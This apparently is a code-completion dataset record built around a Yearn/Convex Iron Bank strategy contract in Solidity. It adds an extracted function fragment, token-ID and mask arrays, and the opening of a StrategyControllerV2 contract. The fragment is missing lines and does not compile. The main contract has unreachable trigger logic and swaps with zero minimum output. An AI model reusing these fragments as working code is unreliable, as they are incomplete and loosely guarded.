// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 totalAssets = estimatedTotalAssets();
// NOTE: use the larger of total assets or debt outstanding to book losses properly
(debtPayment, loss) = liquidatePosition(
totalAssets > debtOutstanding ? totalAssets : debtOutstanding
);
// NOTE: take up any remainder here as profit
if (debtPayment > debtOutstanding) {
profit = debtPayment.sub(debtOutstanding);
debtPayment = debtOutstanding;
}
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by governance or the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault) || msg.sender == governance());
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal view virtual returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++)
require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(
governance(),
IERC20(_token).balanceOf(address(this))
);
}
}
// File: StrategyConvexIronBank.sol
/* ========== CONTRACT ========== */
contract StrategyConvexIronBank is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
ICurveFi public constant curve =
ICurveFi(0x2dded6Da1BF5DBdF597C45fcFaa3194e53EcfeAF); // Curve Iron Bank Pool. need this for buying more pool tokens.
address public crvRouter = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; // default to sushiswap, more CRV liquidity there
address public cvxRouter = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; // default to sushiswap, more CVX liquidity there
address public constant voter = 0xF147b8125d2ef93FB6965Db97D6746952a133934; // Yearn's veCRV voter, we send some extra CRV here
address[] public crvPath; // path to sell CRV
address[] public convexTokenPath; // path to sell CVX
address public depositContract = 0xF403C135812408BFbE8713b5A23a04b3D48AAE31; // this is the deposit contract that all pools use, aka booster
address public rewardsContract = 0x3E03fFF82F77073cc590b656D42FceB12E4910A8; // This is unique to each curve pool, this one is for iron bank
uint256 public pid = 29; // this is unique to each pool
uint256 public optimal; // this is the optimal token to deposit back to our curve pool. 0 DAI, 1 USDC, 2 USDT
// Swap stuff
uint256 public keepCRV = 1000; // the percentage of CRV we re-lock for boost (in basis points)
uint256 public constant FEE_DENOMINATOR = 10000; // with this and the above, sending 10% of our CRV yield to our voter
ICrvV3 public constant crv =
ICrvV3(0xD533a949740bb3306d119CC777fa900bA034cd52);
IERC20 public constant convexToken =
IERC20(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
IERC20 public constant weth =
IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 public constant dai =
IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 public constant usdc =
IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 public constant usdt =
IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
uint256 public USE_SUSHI = 1; // if 1, use sushiswap as our router for CRV or CVX sells
address public constant sushiswapRouter =
0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
address public constant uniswapRouter =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
// convex-specific variables
bool public harvestExtras = true; // boolean to determine if we should always claim extra rewards during getReward (generally this should be true)
bool public claimRewards = false; // boolean if we should always claim rewards when withdrawing, usually withdrawAndUnwrap (generally this should be false)
// Keep3r stuff
uint256 public manualKeep3rHarvest; // this is used in case we want to manually trigger a keep3r harvest since they are cheaper than a strategist harvest
uint256 public harvestProfitFactor; // the multiple that our harvest profit needs to be compared to harvest cost for it to trigger
uint256 public tendCounter; // track our tendies
uint256 public tendsPerHarvest; // how many tends we call before we harvest. set to 0 to never call tends.
uint256 internal harvestNow; // 0 for false, 1 for true if we are mid-harvest. this is used to differentiate tends vs harvests in adjustPosition
constructor(address _vault) public BaseStrategy(_vault) {
// You can set these parameters on deployment to whatever you want
minReportDelay = 0;
maxReportDelay = 172800; // 2 days in seconds, if we hit this then harvestTrigger = True
debtThreshold = 1000 * 1e18; // we shouldn't ever have debt, but set a bit of a buffer
profitFactor = 4000; // in this strategy, profitFactor is only used for telling keep3rs when to move funds from vault to strategy (what previously was an earn call)
// want = crvIB, Curve's Iron Bank pool (ycDai+ycUsdc+ycUsdt)
want.safeApprove(address(depositContract), type(uint256).max);
// add approvals for crv on sushiswap and uniswap due to weird crv approval issues for setCrvRouter
// add approvals on all tokens
IERC20(address(crv)).safeApprove(uniswapRouter, type(uint256).max);
IERC20(address(crv)).safeApprove(sushiswapRouter, type(uint256).max);
convexToken.safeApprove(uniswapRouter, type(uint256).max);
convexToken.safeApprove(sushiswapRouter, type(uint256).max);
dai.safeApprove(address(curve), type(uint256).max);
usdc.safeApprove(address(curve), type(uint256).max);
usdt.safeApprove(address(curve), type(uint256).max);
// crv token path
crvPath = new address[](3);
crvPath[0] = address(crv);
crvPath[1] = address(weth);
crvPath[2] = address(dai);
// convex token path
convexTokenPath = new address[](3);
convexTokenPath[0] = address(convexToken);
convexTokenPath[1] = address(weth);
convexTokenPath[2] = address(dai);
}
function name() external view override returns (string memory) {
return "StrategyConvexIronBank";
}
// total assets held by strategy. loose funds in strategy and all staked funds
function estimatedTotalAssets() public view override returns (uint256) {
return
IConvexRewards(rewardsContract).balanceOf(address(this)).add(
want.balanceOf(address(this))
);
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
// TODO: Do stuff here to free up any returns back into `want`
// NOTE: Return `_profit` which is value generated by all positions, priced in `want`
// NOTE: Should try to free up at least `_debtOutstanding` of underlying position
// if we have anything staked, then harvest CRV and CVX from the rewards contract
uint256 stakedTokens =
IConvexRewards(rewardsContract).balanceOf(address(this));
uint256 claimableTokens =
IConvexRewards(rewardsContract).earned(address(this));
if (stakedTokens > 0 && claimableTokens > 0) {
// this claims our CRV, CVX, and any extra tokens like SNX or ANKR
// if for some reason we don't want extra rewards, make sure we don't harvest them
IConvexRewards(rewardsContract).getReward(
address(this),
harvestExtras
);
uint256 crvBalance = crv.balanceOf(address(this));
uint256 convexBalance = convexToken.balanceOf(address(this));
uint256 _keepCRV = crvBalance.mul(keepCRV).div(FEE_DENOMINATOR);
IERC20(address(crv)).safeTransfer(voter, _keepCRV);
uint256 crvRemainder = crvBalance.sub(_keepCRV);
_sellCrv(crvRemainder);
_sellConvex(convexBalance);
if (optimal == 0) {
uint256 daiBalance = dai.balanceOf(address(this));
curve.add_liquidity([daiBalance, 0, 0], 0, true);
} else if (optimal == 1) {
uint256 usdcBalance = usdc.balanceOf(address(this));
curve.add_liquidity([0, usdcBalance, 0], 0, true);
} else {
uint256 usdtBalance = usdt.balanceOf(address(this));
curve.add_liquidity([0, 0, usdtBalance], 0, true);
}
}
// this is a harvest, so set our switch equal to 1 so this
// performs as a harvest the whole way through
harvestNow = 1;
// if this was the result of a manual keep3r harvest, then reset our trigger
if (manualKeep3rHarvest == 1) manualKeep3rHarvest = 0;
// serious loss should never happen, but if it does (for instance, if Curve is hacked), let's record it accurately
uint256 assets = estimatedTotalAssets();
uint256 debt = vault.strategies(address(this)).totalDebt;
// if assets are greater than debt, things are working great!
if (assets > debt) {
_profit = want.balanceOf(address(this));
} else {
// if assets are less than debt, we are in trouble
_loss = debt.sub(assets);
_profit = 0;
}
// debtOustanding will only be > 0 in the event of revoking or lowering debtRatio of a strategy
if (_debtOutstanding > 0) {
IConvexRewards(rewardsContract).withdrawAndUnwrap(
Math.min(stakedTokens, _debtOutstanding),
claimRewards
);
_debtPayment = Math.min(
_debtOutstanding,
want.balanceOf(address(this))
);
}
}
function adjustPosition(uint256 _debtOutstanding) internal override {
if (emergencyExit) {
return;
}
if (harvestNow == 1) {
// if this is part of a harvest call, send all of our Iron Bank pool tokens to be deposited
uint256 _toInvest = want.balanceOf(address(this));
// deposit into convex and stake immediately but only if we have something to invest
if (_toInvest > 0)
IConvexDeposit(depositContract).deposit(pid, _toInvest, true);
// since we've completed our harvest call, reset our tend counter and our harvest now
tendCounter = 0;
harvestNow = 0;
} else {
// This is our tend call. If we have anything staked, then harvest CRV and CVX from the rewards contract
uint256 stakedTokens =
IConvexRewards(rewardsContract).balanceOf(address(this));
uint256 claimableTokens =
IConvexRewards(rewardsContract).earned(address(this));
if (stakedTokens > 0 && claimableTokens > 0) {
// if for some reason we don't want extra rewards, make sure we don't harvest them
IConvexRewards(rewardsContract).getReward(
address(this),
harvestExtras
);
uint256 crvBalance = crv.balanceOf(address(this));
uint256 convexBalance = convexToken.balanceOf(address(this));
uint256 _keepCRV = crvBalance.mul(keepCRV).div(FEE_DENOMINATOR);
IERC20(address(crv)).safeTransfer(voter, _keepCRV);
uint256 crvRemainder = crvBalance.sub(_keepCRV);
_sellCrv(crvRemainder);
_sellConvex(convexBalance);
// increase our tend counter by 1 so we can know when we should harvest again
uint256 previousTendCounter = tendCounter;
tendCounter = previousTendCounter.add(1);
}
}
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
uint256 wantBal = want.balanceOf(address(this));
if (_amountNeeded > wantBal) {
uint256 stakedTokens =
IConvexRewards(rewardsContract).balanceOf(address(this));
IConvexRewards(rewardsContract).withdrawAndUnwrap(
Math.min(stakedTokens, _amountNeeded - wantBal),
claimRewards
);
uint256 withdrawnBal = want.balanceOf(address(this));
_liquidatedAmount = Math.min(_amountNeeded, withdrawnBal);
_loss = _amountNeeded.sub(_liquidatedAmount);
} else {
// we have enough balance to cover the liquidation available
return (_amountNeeded, 0);
}
}
// Sells our harvested CRV into the selected output (DAI, USDC, or USDT).
function _sellCrv(uint256 _crvAmount) internal {
IUniswapV2Router02(crvRouter).swapExactTokensForTokens(
_crvAmount,
uint256(0),
crvPath,
address(this),
now
);
}
// Sells our harvested CVX into the selected output (DAI, USDC, or USDT).
function _sellConvex(uint256 _convexAmount) internal {
IUniswapV2Router02(cvxRouter).swapExactTokensForTokens(
_convexAmount,
uint256(0),
convexTokenPath,
address(this),
now
);
}
// in case we need to exit into the convex deposit token, this will allow us to do that
// make sure to check claimRewards before this step if needed
// plan to have gov sweep convex deposit tokens from strategy after this
function withdrawToConvexDepositTokens() external onlyAuthorized {
uint256 stakedTokens =
IConvexRewards(rewardsContract).balanceOf(address(this));
IConvexRewards(rewardsContract).withdraw(stakedTokens, claimRewards);
}
// migrate our want token to a new strategy if needed, make sure to check claimRewards first
// also send over any CRV or CVX that is claimed; for migrations we definitely want to claim
function prepareMigration(address _newStrategy) internal override {
uint256 stakedTokens =
IConvexRewards(rewardsContract).balanceOf(address(this));
if (stakedTokens > 0) {
IConvexRewards(rewardsContract).withdrawAndUnwrap(
stakedTokens,
claimRewards
);
}
IERC20(address(crv)).safeTransfer(
_newStrategy,
crv.balanceOf(address(this))
);
IERC20(address(convexToken)).safeTransfer(
_newStrategy,
convexToken.balanceOf(address(this))
);
}
// we don't want for these tokens to be swept out. We allow gov to sweep out cvx vault tokens; we would only be holding these if things were really, really rekt.
function protectedTokens()
internal
view
override
returns (address[] memory)
{
address[] memory protected = new address[](5);
protected[0] = address(convexToken);
protected[1] = address(crv);
protected[2] = address(dai);
protected[3] = address(usdt);
protected[4] = address(usdc);
return protected;
}
/* ========== KEEP3RS ========== */
function harvestTrigger(uint256 callCostinEth)
public
view
override
returns (bool)
{
StrategyParams memory params = vault.strategies(address(this));
// have a manual toggle switch if needed since keep3rs are more efficient than manual harvest
if (manualKeep3rHarvest == 1) return true;
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay)
return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay)
return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
// no need to spend the gas to harvest every time; tend is much cheaper
if (tendCounter < tendsPerHarvest) return false;
// Trigger if it makes sense for the vault to send funds idle funds from the vault to the strategy, or to harvest.
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// calculate how much the call costs in dollars (converted from ETH)
uint256 callCost = ethToDollaBill(callCostinEth);
// check if it makes sense to send funds from vault to strategy
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
// calculate how much profit we'll make if we harvest
uint256 harvestProfit = claimableProfitInDolla();
// check if we make enough from this to justify the harvest call
return (harvestProfitFactor.mul(callCost)) < harvestProfit;
}
// set what will trigger keepers to call tend, which will harvest and sell CRV for optimal asset but not deposit or report profits
function tendTrigger(uint256 callCostinEth)
public
view
override
returns (bool)
{
// we need to call a harvest every once in a while, every tendsPerHarvest number of tends
if (tendCounter >= tendsPerHarvest) return false;
StrategyParams memory params = vault.strategies(address(this));
// Tend should trigger once it has been the minimum time between harvests divided by 1+tendsPerHarvest to space out tends equally
// we multiply this number by the current tendCounter+1 to know where we are in time
// we are assuming here that keepers will essentially call tend as soon as this is true
if (
block.timestamp.sub(params.lastReport) >
(
minReportDelay.div(
(tendCounter.add(1)).mul(tendsPerHarvest.add(1))
)
)
) return true;
}
// convert our keeper's eth cost into dai
function ethToDollaBill(uint256 _ethAmount)
internal
view
returns (uint256)
{
address[] memory ethPath = new address[](2);
ethPath[0] = address(weth);
ethPath[1] = address(dai);
uint256[] memory callCostInDai =
IUniswapV2Router02(crvRouter).getAmountsOut(_ethAmount, ethPath);
return callCostInDai[callCostInDai.length - 1];
}
// convert our unsold CRV and CVX into USD profit for our keep3r
function claimableProfitInDolla() internal view returns (uint256) {
uint256 claimableCrv =
IConvexRewards(rewardsContract).earned(address(this)); // how much CRV we can claim from the staking contract
// calculations pulled directly from CVX's contract for minting CVX per CRV claimed
uint256 totalCliffs = 1000;
uint256 maxSupply = 100 * 1000000 * 1e18; // 100mil
uint256 reductionPerCliff = 100000000000000000000000; // 100,000
uint256 supply = convexToken.totalSupply();
uint256 cliff = supply.div(reductionPerCliff);
//mint if below total cliffs
if (cliff < totalCliffs) {
//for reduction% take inverse of current cliff
uint256 reduction = totalCliffs.sub(cliff);
//reduce
uint256 mintableCvx = claimableCrv.mul(reduction).div(totalCliffs);
//supply cap check
uint256 amtTillMax = maxSupply.sub(supply);
if (mintableCvx > amtTillMax) {
mintableCvx = amtTillMax;
}
uint256[] memory crvSwap =
IUniswapV2Router02(crvRouter).getAmountsOut(
claimableCrv,
crvPath
);
uint256 crvValue = crvSwap[2];
uint256 cvxValue = 0;
if (mintableCvx > 0) {
uint256[] memory cvxSwap =
IUniswapV2Router02(cvxRouter).getAmountsOut(
mintableCvx,
convexTokenPath
);
cvxValue = cvxSwap[2];
}
return crvValue.add(cvxValue); // dollar value of our harvest
}
}
// set number of tends before we call our next harvest
function setTendsPerHarvest(uint256 _tendsPerHarvest)
external
onlyAuthorized
{
tendsPerHarvest = _tendsPerHarvest;
}
// set this to 1 if we want our keep3rs to manually harvest the strategy; keep3r harvest is more cost-efficient than strategist harvest
function setKeep3rHarvest(uint256 _setKeep3rHarvest)
external
onlyAuthorized
{
manualKeep3rHarvest = _setKeep3rHarvest;
}
/* ========== SETTERS ========== */
// These functions are useful for setting parameters of the strategy that may need to be adjusted.
// Set the amount of CRV to be locked in Yearn's veCRV voter from each harvest. Default is 10%.
function setKeepCRV(uint256 _keepCRV) external onlyAuthorized {
keepCRV = _keepCRV;
}
// 1 is for TRUE value and 0 for FALSE to keep in sync with binary convention
// Use SushiSwap for CRV Router = 1;
// Use Uniswap for CRV Router = 0 (or anything else);
function setCrvRouter(uint256 _isSushiswap) external onlyAuthorized {
if (_isSushiswap == USE_SUSHI) {
crvRouter = sushiswapRouter;
} else {
crvRouter = uniswapRouter;
}
}
// 1 is for TRUE value and 0 for FALSE to keep in sync with binary convention
// Use SushiSwap for CVX Router = 1;
// Use Uniswap for CVX Router = 0 (or anything else);
function setCvxRouter(uint256 _isSushiswap) external onlyAuthorized {
if (_isSushiswap == USE_SUSHI) {
cvxRouter = sushiswapRouter;
} else {
cvxRouter = uniswapRouter;
}
}
// Unless contract is borked for some reason, we should always harvest extra tokens
function setHarvestExtras(bool _harvestExtras) external onlyAuthorized {
harvestExtras = _harvestExtras;
}
// We usually don't need to claim rewards on withdrawals, but might change our mind for migrations etc
function setClaimRewards(bool _claimRewards) external onlyAuthorized {
claimRewards = _claimRewards;
}
// set this to the multiple we want to make on our harvests vs the cost
function setHarvestProfitFactor(uint256 _harvestProfitFactor)
external
onlyAuthorized
{
harvestProfitFactor = _harvestProfitFactor;
}
// Set optimal token to sell harvested CRV into for depositing back to Iron Bank Curve pool.
// Default is DAI, but can be set to USDC or USDT as needed by strategist or governance.
function setOptimal(uint256 _optimal) external onlyAuthorized {
crvPath = new address[](3);
crvPath[0] = address(crv);
crvPath[1] = address(weth);
convexTokenPath = new address[](3);
convexTokenPath[0] = address(convexToken);
convexTokenPath[1] = address(weth);
if (_optimal == 0) {
crvPath[2] = address(dai);
convexTokenPath[2] = address(dai);
optimal = 0;
} else if (_optimal == 1) {
crvPath[2] = address(usdc);
convexTokenPath[2] = address(usdc);
optimal = 1;
} else if (_optimal == 2) {
crvPath[2] = address(usdt);
convexTokenPath[2] = address(usdt);
optimal = 2;
} else {
require(false, "incorrect token");
}
}
}
|
convert our unsold CRV and CVX into USD profit for our keep3r calculations pulled directly from CVX's contract for minting CVX per CRV claimedmint if below total cliffsfor reduction% take inverse of current cliffreducesupply cap check
|
function claimableProfitInDolla() internal view returns (uint256) {
uint256 claimableCrv =
uint256 totalCliffs = 1000;
uint256 supply = convexToken.totalSupply();
uint256 cliff = supply.div(reductionPerCliff);
if (cliff < totalCliffs) {
uint256 reduction = totalCliffs.sub(cliff);
uint256 mintableCvx = claimableCrv.mul(reduction).div(totalCliffs);
uint256 amtTillMax = maxSupply.sub(supply);
if (mintableCvx > amtTillMax) {
mintableCvx = amtTillMax;
}
uint256[] memory crvSwap =
IUniswapV2Router02(crvRouter).getAmountsOut(
claimableCrv,
crvPath
);
uint256 crvValue = crvSwap[2];
uint256 cvxValue = 0;
if (mintableCvx > 0) {
uint256[] memory cvxSwap =
IUniswapV2Router02(cvxRouter).getAmountsOut(
mintableCvx,
convexTokenPath
);
cvxValue = cvxSwap[2];
}
}
}
| 1,163,667 |
[
1,
6283,
3134,
16804,
1673,
6732,
58,
471,
385,
58,
60,
1368,
587,
9903,
450,
7216,
364,
3134,
3455,
23,
86,
20882,
30741,
5122,
628,
385,
58,
60,
1807,
6835,
364,
312,
474,
310,
385,
58,
60,
1534,
6732,
58,
7516,
329,
81,
474,
309,
5712,
2078,
927,
430,
2556,
1884,
20176,
9,
4862,
8322,
434,
783,
927,
3048,
1118,
89,
764,
416,
1283,
3523,
866,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7516,
429,
626,
7216,
382,
40,
355,
11821,
1435,
2713,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
7516,
429,
39,
4962,
273,
203,
203,
3639,
2254,
5034,
2078,
2009,
430,
2556,
273,
4336,
31,
203,
3639,
2254,
5034,
14467,
273,
26213,
1345,
18,
4963,
3088,
1283,
5621,
203,
203,
3639,
2254,
5034,
927,
3048,
273,
14467,
18,
2892,
12,
1118,
4062,
2173,
2009,
3048,
1769,
203,
3639,
309,
261,
830,
3048,
411,
2078,
2009,
430,
2556,
13,
288,
203,
5411,
2254,
5034,
20176,
273,
2078,
2009,
430,
2556,
18,
1717,
12,
830,
3048,
1769,
203,
5411,
2254,
5034,
312,
474,
429,
39,
26982,
273,
7516,
429,
39,
4962,
18,
16411,
12,
1118,
4062,
2934,
2892,
12,
4963,
2009,
430,
2556,
1769,
203,
203,
5411,
2254,
5034,
25123,
56,
737,
2747,
273,
943,
3088,
1283,
18,
1717,
12,
2859,
1283,
1769,
203,
5411,
309,
261,
81,
474,
429,
39,
26982,
405,
25123,
56,
737,
2747,
13,
288,
203,
7734,
312,
474,
429,
39,
26982,
273,
25123,
56,
737,
2747,
31,
203,
5411,
289,
203,
203,
5411,
2254,
5034,
8526,
3778,
4422,
90,
12521,
273,
203,
7734,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
3353,
90,
8259,
2934,
588,
6275,
87,
1182,
12,
203,
10792,
7516,
429,
39,
4962,
16,
203,
10792,
4422,
90,
743,
203,
7734,
11272,
203,
5411,
2254,
5034,
4422,
90,
620,
273,
4422,
90,
12521,
63,
22,
15533,
203,
203,
5411,
2254,
5034,
8951,
92,
620,
273,
374,
31,
203,
203,
5411,
309,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../IController.sol";
import "../IConverter.sol";
import "../IHarvester.sol";
import "../IMetaVault.sol";
import "../IStrategy.sol";
import "../IVaultManager.sol";
/**
* @title StrategyControllerV2
* @notice This controller allows multiple strategies to be used
* for a single token, and multiple tokens are supported.
*/
contract StrategyControllerV2 is IController {
using SafeERC20 for IERC20;
using SafeMath for uint256;
bool public globalInvestEnabled;
uint256 public maxStrategies;
IVaultManager public vaultManager;
struct TokenStrategy {
address[] strategies;
mapping(address => uint256) index;
mapping(address => bool) active;
mapping(address => uint256) caps;
}
// token => (want => converter)
mapping(address => mapping(address => address)) public converters;
// token => TokenStrategy
mapping(address => TokenStrategy) internal tokenStrategies;
// strategy => token
mapping(address => address) public override strategyTokens;
// token => vault
mapping(address => address) public override vaults;
// vault => token
mapping(address => address) public vaultTokens;
/**
* @notice Logged when earn is called for a strategy
*/
event Earn(address indexed strategy);
/**
* @notice Logged when harvest is called for a strategy
*/
event Harvest(address indexed strategy);
/**
* @notice Logged when insurance is claimed for a vault
*/
event InsuranceClaimed(address indexed vault);
/**
* @notice Logged when a converter is set
*/
event SetConverter(address input, address output, address converter);
/**
* @notice Logged when a vault manager is set
*/
event SetVaultManager(address vaultManager);
/**
* @notice Logged when a strategy is added for a token
*/
event StrategyAdded(address indexed token, address indexed strategy, uint256 cap);
/**
* @notice Logged when a strategy is removed for a token
*/
event StrategyRemoved(address indexed token, address indexed strategy);
/**
* @notice Logged when strategies are reordered for a token
*/
event StrategiesReordered(
address indexed token,
address indexed strategy1,
address indexed strategy2
);
/**
* @param _vaultManager The address of the vaultManager
*/
constructor(address _vaultManager) public {
vaultManager = IVaultManager(_vaultManager);
globalInvestEnabled = true;
maxStrategies = 10;
}
/**
* GOVERNANCE-ONLY FUNCTIONS
*/
/**
* @notice Adds a strategy for a given token
* @dev Only callable by governance
* @param _token The address of the token
* @param _strategy The address of the strategy
* @param _cap The cap of the strategy
* @param _converter The converter of the strategy (can be zero address)
* @param _canHarvest Flag for whether the strategy can be harvested
* @param _timeout The timeout between harvests
*/
function addStrategy(
address _token,
address _strategy,
uint256 _cap,
address _converter,
bool _canHarvest,
uint256 _timeout
) external onlyGovernance {
// ensure the strategy hasn't been added
require(!tokenStrategies[_token].active[_strategy], "active");
address _want = IStrategy(_strategy).want();
// ensure a converter is added if the strategy's want token is
// different than the want token of the vault
if (_want != IMetaVault(vaults[_token]).want()) {
require(_converter != address(0), "!_converter");
converters[_token][_want] = _converter;
// enable the strategy on the converter
IConverter(_converter).setStrategy(_strategy, true);
}
// get the index of the newly added strategy
uint256 index = tokenStrategies[_token].strategies.length;
// ensure we haven't added too many strategies already
require(index < maxStrategies, "!maxStrategies");
// push the strategy to the array of strategies
tokenStrategies[_token].strategies.push(_strategy);
// set the cap
tokenStrategies[_token].caps[_strategy] = _cap;
// set the index
tokenStrategies[_token].index[_strategy] = index;
// activate the strategy
tokenStrategies[_token].active[_strategy] = true;
// store the reverse mapping
strategyTokens[_strategy] = _token;
// if the strategy should be harvested
if (_canHarvest) {
// add it to the harvester
IHarvester(vaultManager.harvester()).addStrategy(_token, _strategy, _timeout);
}
emit StrategyAdded(_token, _strategy, _cap);
}
/**
* @notice Claims the insurance fund of a vault
* @dev Only callable by governance
* @dev When insurance is claimed by the controller, the insurance fund of
* the vault is zeroed out, increasing the getPricePerFullShare and applying
* the gains to everyone in the vault.
* @param _vault The address of the vault
*/
function claimInsurance(address _vault) external onlyGovernance {
IMetaVault(_vault).claimInsurance();
emit InsuranceClaimed(_vault);
}
/**
* @notice Sets the address of the vault manager contract
* @dev Only callable by governance
* @param _vaultManager The address of the vault manager
*/
function setVaultManager(address _vaultManager) external onlyGovernance {
vaultManager = IVaultManager(_vaultManager);
emit SetVaultManager(_vaultManager);
}
/**
* (GOVERNANCE|STRATEGIST)-ONLY FUNCTIONS
*/
/**
* @notice Withdraws token from a strategy to governance
* @dev Only callable by governance or the strategist
